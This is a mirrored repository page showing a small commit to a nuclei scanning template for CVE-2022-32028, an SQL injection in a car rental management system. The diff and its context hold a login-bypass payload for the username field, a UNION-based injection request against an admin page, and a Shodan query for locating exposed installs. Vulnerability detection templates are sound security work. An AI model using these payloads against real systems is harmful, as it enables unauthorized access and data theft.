daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2022-32028.yaml

patch-1
Prince Chaddha 2022-08-02 14:47:04 +05:30 committed by GitHub
parent 23c6e7f4d2
commit 079f21a07e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
cves/2022/CVE-2022-32028.yaml
View File

@ -12,6 +12,7 @@ info:
metadata: metadata:
verified: true verified: true
shodan-query: http.html:"Car Rental Management System" shodan-query: http.html:"Car Rental Management System"
comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
tags: cve,cve2022,carrental,cms,sqli,authenticated tags: cve,cve2022,carrental,cms,sqli,authenticated
variables: variables:
@ -19,7 +20,6 @@ variables:
requests: requests:
- raw: - raw:
# Login bypass possible using a payload: admin'+or+'1'%3D'1' in username.
- | - |
POST /admin/ajax.php?action=login HTTP/1.1 POST /admin/ajax.php?action=login HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
@ -31,6 +31,7 @@ requests:
GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
skip-variables-check: true
redirects: true redirects: true
max-redirects: 2 max-redirects: 2
cookie-reuse: true cookie-reuse: true